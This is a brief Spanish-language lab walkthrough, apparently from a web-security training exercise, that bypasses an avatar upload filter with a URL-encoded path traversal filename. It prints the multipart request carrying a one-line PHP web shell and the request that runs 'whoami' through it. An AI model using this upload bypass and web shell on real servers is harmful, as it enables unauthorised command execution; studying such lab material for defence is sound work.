Skip to content

Web shell upload via path traversal

[20251013234935.png]

En el sitio web encontramos un apartado para subir una imagen como avatar.

[20251014002708.png]

[20251014003046.png]

Al intentar subir un archivo php y trata de ejecutar comandos este no da ningun resultado.

[20251014003057.png]

Por lo que intente bypasear y lo que me llego a funcionar es un path traversal ..%2f

c
------geckoformboundary4a35b6ade6f323bf1f0d21aca4532235
Content-Disposition: form-data; name="avatar"; filename="..%2fshell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

Al enviar nuevamente y el archivo se sube correctamente.

[20251014003631.png]

Ahora al ejecutar podemos observar que ejecuta el comando.

c
/files/avatars/..%2fshell.php?cmd=whoami

[20251014003740.png]

c
GET /files/shell.php?cmd=whoami HTTP/2